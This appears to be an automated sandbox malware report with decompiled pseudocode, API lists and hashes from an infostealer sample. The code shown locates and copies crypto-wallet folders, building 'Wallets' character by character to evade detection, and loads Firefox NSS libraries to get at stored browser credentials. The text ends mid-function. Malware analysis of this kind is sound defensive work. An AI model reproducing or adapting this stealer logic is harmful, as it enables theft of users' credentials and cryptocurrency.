				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t9;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0x452000 = GetProcAddress(_t35, "FlsAlloc");
					 *0x452004 = GetProcAddress(_t35, "FlsGetValue");
					 *0x452008 = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0x452000;
					_t39 = TlsSetValue;
					 *0x45200c = _t7;
					if( *0x452000 == 0) {
						L6:
						 *0x452004 = TlsGetValue;
						_t9 = __imp__TlsFree; // 0x74656560
						 *0x452000 = 0x430de0;
						 *0x452008 = _t39;
						 *0x45200c = _t9;
					} else {
						__eflags =  *0x452004;
						if( *0x452004 == 0) {
							goto L6;
						} else {
							__eflags =  *0x452008;
							if( *0x452008 == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0x450de8 = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x452004);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							L00431431();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0x452000);
							 *0x452000 = _t14;
							_t15 =  *_t41( *0x452004);
							 *0x452004 = _t15;
							_t16 =  *_t41( *0x452008);
							 *0x452008 = _t16;
							 *0x45200c =  *_t41( *0x45200c);
							_t18 = E00433246();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								L00430E1D();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0x452000, 0x430fa1);
								 *0x450de4 = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E0042F29F(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0x452008,  *0x450de4, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											L00430E5A(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					L00430E1D();
					return 0;
				}
			}

0x004310d0
0x004310de
0x004310e2
0x00431102
0x0043110f
0x0043111c
0x00431121
0x00431123
0x0043112a
0x00431130
0x00431135
0x0043114d
0x00431152
0x00431157
0x0043115c
0x00431166
0x0043116c
0x00431137
0x00431137
0x0043113e
0x00000000
0x00431140
0x00431140
0x00431147
0x00000000
0x00431149
0x00431149
0x0043114b
0x00000000
0x00000000
0x0043114b
0x00431147
0x0043113e
0x00431171
0x00431177
0x0043117c
0x0043117f
0x00431246
0x00431246
0x00431246
0x00431185
0x0043118c
0x0043118e
0x00431190
0x00000000
0x00431196
0x00431196
0x004311a1
0x004311a7
0x004311af
0x004311b4
0x004311bc
0x004311c1
0x004311c9
0x004311d0
0x004311d5
0x004311da
0x004311dc
0x00431241
0x00431241
0x00000000
0x004311de
0x004311de
0x004311f1
0x004311f3
0x004311f8
0x004311fb
0x00000000
0x004311fd
0x00431209
0x0043120d
0x0043120f
0x00000000
0x00431211
0x00431222
0x00431224
0x00000000
0x00431226
0x00431226
0x00431228
0x00431229
0x00431230
0x00431236
0x0043123a
0x0043123e
0x0043123e
0x00431224
0x0043120f
0x004311fb
0x004311dc
0x00431190
0x0043124a
0x004310e4
0x004310e4
0x004310ec
0x004310ec

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,0042D559), ref: 004310D8
__mtterm.LIBCMT ref: 004310E4

Part of subcall function 00430E1D: RtlDecodePointer.NTDLL(00000005), ref: 00430E2E
Part of subcall function 00430E1D: TlsFree.KERNEL32(00000024,00431246,?,0042D559), ref: 00430E48
Part of subcall function 00430E1D: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004332AD
Part of subcall function 00430E1D: _free.LIBCMT ref: 004332B0
Part of subcall function 00430E1D: RtlDeleteCriticalSection.NTDLL(00000024), ref: 004332D7

GetProcAddress.KERNEL32(00000000,FlsAlloc,00000000,?,0042D559), ref: 004310FA
GetProcAddress.KERNEL32(00000000,FlsGetValue,?,0042D559), ref: 00431107
GetProcAddress.KERNEL32(00000000,FlsSetValue,?,0042D559), ref: 00431114
GetProcAddress.KERNEL32(00000000,FlsFree,?,0042D559), ref: 00431121
TlsAlloc.KERNEL32(?,0042D559), ref: 00431171
TlsSetValue.KERNEL32(00000000,?,0042D559), ref: 0043118C
__init_pointers.LIBCMT ref: 00431196
RtlEncodePointer.NTDLL ref: 004311A7
RtlEncodePointer.NTDLL ref: 004311B4
RtlEncodePointer.NTDLL ref: 004311C1
RtlEncodePointer.NTDLL ref: 004311CE
RtlDecodePointer.NTDLL(00430FA1), ref: 004311EF
__calloc_crt.LIBCMT ref: 00431204
RtlDecodePointer.NTDLL(00000000), ref: 0043121E
GetCurrentThreadId.KERNEL32 ref: 00431230

Strings

`eet, xrefs: 00431157
KERNEL32.DLL, xrefs: 004310D3
FlsSetValue, xrefs: 00431109
FlsAlloc, xrefs: 004310F4
FlsGetValue, xrefs: 004310FC
FlsFree, xrefs: 00431116

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL$`eet
API String ID: 3698121176-740189192
Opcode ID: e849ef670354d2648884245c96269370fb56dea96eda5eae46325d454f480ffc
Instruction ID: c1a7b480ce482965e58d7c37d12deec9dadf95cd8912af6c8c0e91428872aa41
Opcode Fuzzy Hash: e849ef670354d2648884245c96269370fb56dea96eda5eae46325d454f480ffc
Instruction Fuzzy Hash: F531A0359023109BEB10AF75AD0564B3BA5EB0AB2AF60453BE614D32F1EBB8D450CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9C0 Relevance: 40.6, APIs: 22, Strings: 1, Instructions: 310
stringCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040A9C0(void* __ecx, CHAR* _a4) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v288;
				char _v552;
				char _v816;
				char _v1816;
				void* _v2816;
				intOrPtr _v2824;
				CHAR* _v2828;
				CHAR* _v2844;
				intOrPtr _v2852;
				CHAR* _v2856;
				CHAR* _v2872;
				intOrPtr _v2880;
				CHAR* _v2884;
				CHAR* _v2900;
				intOrPtr _v2908;
				CHAR* _v2912;
				short _v2928;
				char _v2956;
				CHAR* _v2960;
				CHAR* _v2964;
				char _v2968;
				CHAR* _v2972;
				char _v2976;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t110;
				signed int _t111;
				void* _t129;
				WCHAR* _t132;
				signed char _t133;
				CHAR* _t135;
				intOrPtr _t136;
				void* _t139;
				void* _t148;
				CHAR* _t159;
				CHAR* _t166;
				CHAR* _t170;
				void* _t175;
				CHAR* _t176;
				void* _t177;
				CHAR** _t178;
				CHAR* _t187;
				CHAR* _t197;
				CHAR* _t204;
				CHAR* _t213;
				void* _t221;
				intOrPtr _t224;
				void* _t225;
				void* _t228;
				void* _t229;
				void* _t230;
				CHAR* _t232;
				signed int _t233;
				void* _t234;
				void* _t239;
				void* _t240;
				void* _t242;
				void* _t244;

				_t110 =  *0x450664; // 0x30e242aa
				_t111 = _t110 ^ _t233;
				_v24 = _t111;
				 *[fs:0x0] =  &_v16;
				_t229 = __ecx;
				_t176 = 0;
				_v2972 = _a4;
				L00429B30( &_v552, 0, 0x104);
				L00429B30( &_v288, 0, 0x104);
				_v2964 = 0;
				_v2968 = 0;
				L00429B30( &_v2816, 0, 0x3e8);
				lstrcatA( &_v552,  &_v2816 & (0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v2816, _t111, _t221, _t228, _t175,  *[fs:0x0], E0043EB17, 0xffffffff) < 0x00000000) - 0x00000001);
				_t213 =  *0x452d7c; // 0x509ba58
				lstrcatA( &_v552, _t213);
				lstrcatA( &_v288,  &_v552);
				lstrcatA( &_v288, "\\");
				_t187 =  *0x452d14; // 0x509af68
				_t215 =  &_v288;
				lstrcatA( &_v288, _t187);
				_v2880 = 0xf;
				_v2884 = 0;
				_v2900 = 0;
				_t129 = L00429C90( &_v288);
				_t239 = _t234 - 0xb90 + 0x28;
				E004050C0( &_v2900,  &_v288, _t129);
				_v8 = 0;
				_t132 = L004205E0( &_v2900,  &_v2928);
				if(_t132[0xa] >= 8) {
					_t132 =  *_t132;
				}
				_t133 = GetFileAttributesW(_t132);
				if(_t133 == 0xffffffff) {
					L4:
					_v2960 = _t176;
					goto L5;
				} else {
					_v2960 = 1;
					if((_t133 & 0x00000010) == 0) {
						L5:
						if(_v2908 >= 8) {
							_t215 = _v2928;
							_push(_v2928);
							E00429B0B();
							_t239 = _t239 + 4;
						}
						_v8 = 0xffffffff;
						_v2908 = 7;
						_v2912 = _t176;
						_v2928 = 0;
						if(_v2880 >= 0x10) {
							_push(_v2900);
							E00429B0B();
							_t239 = _t239 + 4;
						}
						_t224 = 0xf;
						_v2880 = 0xf;
						_v2884 = _t176;
						_v2900 = _t176;
						if(_v2960 != _t176) {
							_t215 =  &_v2968;
							_t139 = E00414A80( &_v2964,  &_v2968,  &_v288);
							_t240 = _t239 + 4;
							_t254 = _t139;
							if(_t139 != 0) {
								_v2852 = 0xf;
								_v2856 = _t176;
								_v2872 = _t176;
								E004050C0( &_v2872, _t229, L00429C90(_t229));
								_v8 = 1;
								E00420130( &_v2968, _t254,  &_v2844,  &_v2872);
								_t242 = _t240 + 0xc;
								_v8 = 3;
								if(_v2852 >= 0x10) {
									_push(_v2872);
									E00429B0B();
									_t242 = _t242 + 4;
								}
								_v2852 = _t224;
								_v2856 = _t176;
								_v2872 = _t176;
								L00429B30( &_v816, _t176, 0x104);
								_t197 =  *0x452a54; // 0x509b8f0
								lstrcatA( &_v816, _t197);
								_t148 = L00429C90( &_v816);
								_t244 = _t242 + 0x10;
								_t215 =  &_v2844;
								if(L004107A0(0,  &_v2844,  &_v816, _t148) != 0xffffffff) {
									E00405360( &_v2844, _t176, _t150 + 0xc);
									E00405360( &_v2844, 0x78, 0xffffffff);
									_t178 = _v2844;
									if(_v2824 < 0x10) {
										_t178 =  &_v2844;
									}
									if(E00414930( &_v2960, _t178,  &_v2976) != 0) {
										L00429B30( &_v1816, 0, 0x3e8);
										_t227 = _v2976;
										_t159 = L00414CB0( &_v2956, _v2976, _v2960, _v2964, _v2968);
										_t244 = _t244 + 0x14;
										_v8 = 4;
										if(_t159[0x14] >= 0x10) {
											_t159 =  *_t159;
										}
										lstrcatA( &_v1816, _t159);
										_v8 = 3;
										E00405010( &_v2956);
										_t204 =  *0x452edc; // 0x509b9c8
										_t232 = _v2972;
										lstrcatA(_t232, _t204);
										_push("NULL");
										_t215 =  &_v1816;
										_push( &_v1816);
										if( *0x453510() != 0) {
											_t215 = _v2960;
											_t166 = L00414CB0( &_v2956, _t227, _v2960, _v2964, _v2968);
											_t244 = _t244 + 8;
											_v8 = 5;
											__eflags = _t166[0x14] - 0x10;
											if(_t166[0x14] >= 0x10) {
												_t166 =  *_t166;
											}
											lstrcatA(_t232, _t166);
											_v8 = 3;
											E00405010( &_v2956);
										} else {
											_t170 = _v2844;
											if(_v2824 < 0x10) {
												_t170 =  &_v2844;
											}
											lstrcatA(_t232, _t170);
										}
										lstrcatA(_t232, "\n");
									}
									_t224 = 0xf;
									_t176 = 0;
								}
								_v8 = 0xffffffff;
								if(_v2824 >= 0x10) {
									_t215 = _v2844;
									_push(_v2844);
									E00429B0B();
								}
								_v2824 = _t224;
								_v2828 = _t176;
								_v2844 = _t176;
							}
						}
						_t135 = _v2964;
						if(_t135 != _t176) {
							 *0x453424(_t135, _t176);
							_v2964 = _t176;
						}
						_t136 = _v2968;
						if(_t136 != _t176) {
							_t136 =  *0x4534d8(_t136);
						}
						 *[fs:0x0] = _v16;
						_pop(_t225);
						_pop(_t230);
						_pop(_t177);
						return E00429B16(_t136, _t177, _v24 ^ _t233, _t215, _t225, _t230);
					}
					goto L4;
				}
			}

0x0040a9d7
0x0040a9dc
0x0040a9de
0x0040a9e8
0x0040a9f6
0x0040a9f8
0x0040aa02
0x0040aa08
0x0040aa1d
0x0040aa32
0x0040aa38
0x0040aa3e
0x0040aa70
0x0040aa76
0x0040aa84
0x0040aa98
0x0040aaaa
0x0040aab0
0x0040aab7
0x0040aabe
0x0040aacb
0x0040aad5
0x0040aadb
0x0040aae1
0x0040aae6
0x0040aaf7
0x0040ab08
0x0040ab0b
0x0040ab18
0x0040ab1a
0x0040ab1a
0x0040ab1d
0x0040ab26
0x0040ab36
0x0040ab36
0x00000000
0x0040ab28
0x0040ab28
0x0040ab34
0x0040ab3c
0x0040ab42
0x0040ab44
0x0040ab4a
0x0040ab4b
0x0040ab50
0x0040ab50
0x0040ab55
0x0040ab63
0x0040ab6d
0x0040ab73
0x0040ab7a
0x0040ab82
0x0040ab83
0x0040ab88
0x0040ab88
0x0040ab8b
0x0040ab90
0x0040ab96
0x0040ab9c
0x0040aba8
0x0040abb5
0x0040abc1
0x0040abc6
0x0040abc9
0x0040abcb
0x0040abd2
0x0040abd8
0x0040abde
0x0040abf4
0x0040ac07
0x0040ac0e
0x0040ac13
0x0040ac1b
0x0040ac25
0x0040ac2d
0x0040ac2e
0x0040ac33
0x0040ac33
0x0040ac43
0x0040ac49
0x0040ac4f
0x0040ac55
0x0040ac5a
0x0040ac6b
0x0040ac78
0x0040ac7d
0x0040ac88
0x0040ac99
0x0040acaa
0x0040acb9
0x0040acbe
0x0040acca
0x0040accc
0x0040accc
0x0040ace5
0x0040acf9
0x0040ad0a
0x0040ad23
0x0040ad28
0x0040ad30
0x0040ad37
0x0040ad39
0x0040ad39
0x0040ad43
0x0040ad4f
0x0040ad53
0x0040ad58
0x0040ad5e
0x0040ad66
0x0040ad6c
0x0040ad71
0x0040ad77
0x0040ad80
0x0040adac
0x0040adbc
0x0040adc1
0x0040adc4
0x0040adc8
0x0040adcc
0x0040adce
0x0040adce
0x0040add2
0x0040adde
0x0040ade2
0x0040ad82
0x0040ad82
0x0040ad8e
0x0040ad90
0x0040ad90
0x0040ad98
0x0040ad98
0x0040aded
0x0040aded
0x0040adf3
0x0040adf8
0x0040adf8
0x0040adfa
0x0040ae08
0x0040ae0a
0x0040ae10
0x0040ae11
0x0040ae16
0x0040ae19
0x0040ae1f
0x0040ae25
0x0040ae25
0x0040abcb
0x0040ae2b
0x0040ae33
0x0040ae37
0x0040ae3d
0x0040ae3d
0x0040ae43
0x0040ae4b
0x0040ae4e
0x0040ae4e
0x0040ae57
0x0040ae5f
0x0040ae60
0x0040ae61
0x0040ae6f
0x0040ae6f
0x00000000
0x0040ab34

APIs

_memset.LIBCMT ref: 0040AA08
_memset.LIBCMT ref: 0040AA1D
_memset.LIBCMT ref: 0040AA3E
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0040AA52
lstrcatA.KERNEL32(?,?), ref: 0040AA70
lstrcatA.KERNEL32(?,0509BA58), ref: 0040AA84
lstrcatA.KERNEL32(?,?), ref: 0040AA98
lstrcatA.KERNEL32(?,004485EC), ref: 0040AAAA
lstrcatA.KERNEL32(?,0509AF68), ref: 0040AABE
_strlen.LIBCMT ref: 0040AAE1

Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 0042060A
Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00420646
Part of subcall function 004205E0: _wcslen.LIBCMT ref: 00420660

GetFileAttributesW.KERNEL32(00000000,?,00000000), ref: 0040AB1D
_strlen.LIBCMT ref: 0040ABE4
_memset.LIBCMT ref: 0040AC55
lstrcatA.KERNEL32(?,0509B8F0,?,?,?,?,00000000), ref: 0040AC6B
_strlen.LIBCMT ref: 0040AC78
_memset.LIBCMT ref: 0040ACF9
lstrcatA.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040AD43
lstrcatA.KERNEL32(?,0509B9C8,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040AD66
StrCmpCA.SHLWAPI(?,NULL,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040AD78
lstrcatA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040AD98
lstrcatA.KERNEL32(?,004485E8,?,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040ADED

Part of subcall function 00414CB0: _memcmp.LIBCMT ref: 00414CFC
Part of subcall function 00414CB0: _memset.LIBCMT ref: 00414D25
Part of subcall function 00414CB0: LocalAlloc.KERNEL32(00000040,?,?,?,?,30E242AA), ref: 00414D5F

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040ADD2

Strings

NULL, xrefs: 0040AD6C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$_strlen$ByteCharMultiWide$AllocAttributesFileFolderLocalPath_memcmp_wcslen
String ID: NULL
API String ID: 1607314731-324932091
Opcode ID: 360d79358794f919ac91120e22cd1dcf04377814937d4b7bd3aa762a85097f23
Instruction ID: 3c36016f1403f0a842b943279b97370780f5833c05554b8f1bf6e2d22dc09487
Opcode Fuzzy Hash: 360d79358794f919ac91120e22cd1dcf04377814937d4b7bd3aa762a85097f23
Instruction Fuzzy Hash: 87D17FB1D002289BDB20DF55DD95BDEB779AF45309F4041EAE109A3281EB38AF84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411839 Relevance: 38.6, APIs: 21, Strings: 1, Instructions: 123
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00411839(intOrPtr* __ebx, CHAR* __edi, void* __esi) {
				int _t44;
				signed char _t51;
				intOrPtr* _t77;
				CHAR* _t105;
				void* _t106;
				signed int _t107;
				void* _t109;

				_t106 = __esi;
				_t105 = __edi;
				_t77 = __ebx;
				do {
					_push(".");
					_push(_t107 - 0x928);
					if( *0x453510() != 0) {
						_push("..");
						_push(_t107 - 0x928);
						if( *0x453510() != 0) {
							if(_t106 == 0) {
								wsprintfA(_t107 - 0x324, "%s\\%s\\%s", _t107 - 0x21c,  *((intOrPtr*)(_t107 - 0x958)), _t107 - 0x928);
								_t109 = _t109 + 0x14;
							} else {
								wsprintfA(_t107 - 0x324, "%s\\%s\\%s\\%s", _t107 - 0x21c,  *((intOrPtr*)(_t107 - 0x958)), _t107 - 0x928,  *(_t107 - 0x95c));
								_t109 = _t109 + 0x18;
							}
							_t51 = GetFileAttributesA(_t107 - 0x324);
							if(_t51 != 0xffffffff && (_t51 & 0x00000010) == 0) {
								L00429B30(_t107 - 0x114, 0, 0x104);
								_t109 = _t109 + 0xc;
								lstrcatA(_t107 - 0x114, "\\");
								lstrcatA(_t107 - 0x114, "W");
								lstrcatA(_t107 - 0x114, "a");
								lstrcatA(_t107 - 0x114, "l");
								lstrcatA(_t107 - 0x114, "l");
								lstrcatA(_t107 - 0x114, "e");
								lstrcatA(_t107 - 0x114, "t");
								lstrcatA(_t107 - 0x114, "s");
								lstrcatA(_t107 - 0x114, "\\");
								lstrcatA(_t107 - 0x114, _t105);
								lstrcatA(_t107 - 0x114, "\\");
								if(_t106 == 0) {
									lstrcatA(_t107 - 0x114, _t107 - 0x928);
								} else {
									lstrcatA(_t107 - 0x114, _t107 - 0x928);
									lstrcatA(_t107 - 0x114, "\\");
									lstrcatA(_t107 - 0x114,  *(_t107 - 0x95c));
								}
								if(_t77 != 0) {
									if( *_t77 == 2) {
										 *0x4537d4 = E00428410( *((intOrPtr*)(_t77 + 4)), _t107 - 0x324, _t107 - 0x114, 0, 2);
									} else {
										 *0x4537d4 = 0x80000;
									}
								} else {
									 *0x4537d4 = 0x10000;
								}
							}
						}
					}
					_t93 =  *(_t107 - 0x960);
				} while (FindNextFileA( *(_t107 - 0x960), _t107 - 0x954) != 0);
				_t44 = FindClose( *(_t107 - 0x960));
				return E00429B16(_t44, _t77,  *(_t107 - 8) ^ _t107, _t93, _t105, _t106);
			}

0x00411839
0x00411839
0x00411839
0x00411840
0x00411840
0x0041184b
0x00411854
0x0041185a
0x00411865
0x0041186e
0x00411876
0x004118cc
0x004118d2
0x00411878
0x004118a0
0x004118a6
0x004118a6
0x004118dc
0x004118e5
0x00411901
0x00411906
0x00411915
0x00411927
0x00411939
0x0041194b
0x0041195d
0x0041196f
0x00411981
0x00411993
0x004119a5
0x004119b3
0x004119c5
0x004119cd
0x00411a13
0x004119cf
0x004119dd
0x004119ef
0x00411a13
0x00411a13
0x00411a1b
0x00411a2c
0x00411a53
0x00411a2e
0x00411a2e
0x00411a2e
0x00411a1d
0x00411a1d
0x00411a1d
0x00411a1b
0x004118e5
0x0041186e
0x00411a58
0x00411a6c
0x00411a7b
0x00411a8e

APIs

StrCmpCA.SHLWAPI(?,0044A810), ref: 0041184C
StrCmpCA.SHLWAPI(?,0044A814), ref: 00411866
wsprintfA.USER32 ref: 004118A0
wsprintfA.USER32 ref: 004118CC
GetFileAttributesA.KERNEL32(?), ref: 004118DC
_memset.LIBCMT ref: 00411901
lstrcatA.KERNEL32(?,004485EC), ref: 00411915
lstrcatA.KERNEL32(?,0044AA74), ref: 00411927
lstrcatA.KERNEL32(?,0044AA78), ref: 00411939
lstrcatA.KERNEL32(?,0044AA7C), ref: 0041194B
lstrcatA.KERNEL32(?,0044AA7C), ref: 0041195D
lstrcatA.KERNEL32(?,0044AA80), ref: 0041196F
lstrcatA.KERNEL32(?,0044AA84), ref: 00411981
lstrcatA.KERNEL32(?,0044AA88), ref: 00411993
lstrcatA.KERNEL32(?,004485EC), ref: 004119A5
lstrcatA.KERNEL32(?,0509CAB8), ref: 004119B3
lstrcatA.KERNEL32(?,004485EC), ref: 004119C5
lstrcatA.KERNEL32(?,?), ref: 004119DD
lstrcatA.KERNEL32(?,004485EC), ref: 004119EF
lstrcatA.KERNEL32(?,?), ref: 00411A13
FindNextFileA.KERNEL32(?,?), ref: 00411A66
FindClose.KERNEL32(?), ref: 00411A7B

Strings

%s\%s\%s\%s, xrefs: 0041189A

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindwsprintf$AttributesCloseNext_memset
String ID: %s\%s\%s\%s
API String ID: 3233782966-922548283
Opcode ID: 7a2c7414132d9a3c18d7ae844b5fb04509b38114bb3585ef208293dd7ec0179e
Instruction ID: facf9b0484e4815abe4dcea1417fe4b0658c9753d60497da1eaca382d80b02f4
Opcode Fuzzy Hash: 7a2c7414132d9a3c18d7ae844b5fb04509b38114bb3585ef208293dd7ec0179e
Instruction Fuzzy Hash: 46418271941318ABD725DFA1DD49FEA7738BB08B83F004599E206A2051DB78DB84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F280 Relevance: 33.6, APIs: 13, Strings: 6, Instructions: 344
memoryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040F280(void* __eflags) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				char _v48;
				intOrPtr _v56;
				long _v60;
				char _v76;
				long _v84;
				char _v380;
				long _v384;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t91;
				signed int _t92;
				intOrPtr _t94;
				void* _t95;
				void* _t96;
				intOrPtr* _t100;
				intOrPtr* _t101;
				intOrPtr* _t109;
				intOrPtr* _t110;
				intOrPtr* _t116;
				intOrPtr* _t117;
				intOrPtr* _t125;
				intOrPtr* _t126;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t141;
				intOrPtr* _t142;
				void* _t157;
				void* _t206;
				void* _t209;
				intOrPtr* _t210;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t213;
				intOrPtr* _t214;
				intOrPtr* _t215;
				signed int _t216;
				void* _t217;
				void* _t219;
				void* _t221;
				void* _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				void* _t226;
				void* _t227;
				void* _t228;
				void* _t229;
				void* _t230;
				void* _t231;
				intOrPtr _t233;

				_push(0xffffffff);
				_push(E0043F038);
				_push( *[fs:0x0]);
				_t91 =  *0x450664; // 0x30e242aa
				_t92 = _t91 ^ _t216;
				_v20 = _t92;
				_push(_t92);
				 *[fs:0x0] =  &_v16;
				_t94 =  *0x453058; // 0x50987d8
				_v56 = 0xf;
				_v60 = 0;
				_v76 = 0;
				_t95 = L00429C90(_t94);
				_t219 = _t217 - 0x174 + 4;
				_t96 = E004050C0( &_v76, _t94, _t95);
				_v8 = 0;
				_t233 =  *0x4536b8; // 0x0
				if(_t233 != 0) {
					L62:
					if(_v56 >= 0x10) {
						_push(_v76);
						_t96 = E00429B0B();
					}
					 *[fs:0x0] = _v16;
					_pop(_t206);
					_pop(_t209);
					_pop(_t157);
					return E00429B16(_t96, _t157, _v20 ^ _t216, _t190, _t206, _t209);
				} else {
					_t100 = E004109C0("vcruntime140.dll", _t233,  &_v48,  &_v76);
					_t221 = _t219 + 8;
					_v8 = 1;
					if( *((intOrPtr*)(_t100 + 0x14)) < 0x10) {
						_t210 = _t100;
					} else {
						_t210 =  *_t100;
					}
					_t101 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t101 != 0) {
						__eflags =  *_t101 - 1;
						if(__eflags == 0) {
							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t101 + 4)), "vcruntime140.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					E0040A020(_v84, _v384, _t210);
					_t222 = _t221 + 8;
					_v8 = 0;
					_t236 = _v28 - 0x10;
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
						_t222 = _t222 + 4;
					}
					_t109 = E004109C0("softokn3.dll", _t236,  &_v48,  &_v76);
					_t223 = _t222 + 8;
					_v8 = 2;
					if( *((intOrPtr*)(_t109 + 0x14)) < 0x10) {
						_t211 = _t109;
					} else {
						_t211 =  *_t109;
					}
					_t110 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t110 != 0) {
						__eflags =  *_t110 - 1;
						if(__eflags == 0) {
							 *0x453670 = E00409920( &_v384,  &_v380, __eflags,  *((intOrPtr*)(_t110 + 4)), "softokn3.dll");
						} else {
							 *0x453670 = 0x80000;
						}
					} else {
						 *0x453670 = 0x10000;
					}
					RtlAllocateHeap(GetProcessHeap(), 0, _v84);
					E0040A020(_v384, _v384, _t211);
					_t224 = _t223 + 8;
					_v8 = 0;
					_t239 = _v28 - 0x10;
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
						_t224 = _t224 + 4;
					}
					_t196 =  &_v48;
					_t116 = E004109C0("nss3.dll", _t239,  &_v48,  &_v76);
					_t225 = _t224 + 8;
					_v8 = 3;
					if( *((intOrPtr*)(_t116 + 0x14)) < 0x10) {
						_t212 = _t116;
					} else {
						_t212 =  *_t116;
					}
					_t117 =  *0x45329c; // 0x4e72ed0
					_v384 = 0;
					if(_t117 != 0) {
						__eflags =  *_t117 - 1;
						if(__eflags == 0) {
							_t196 =  &_v380;
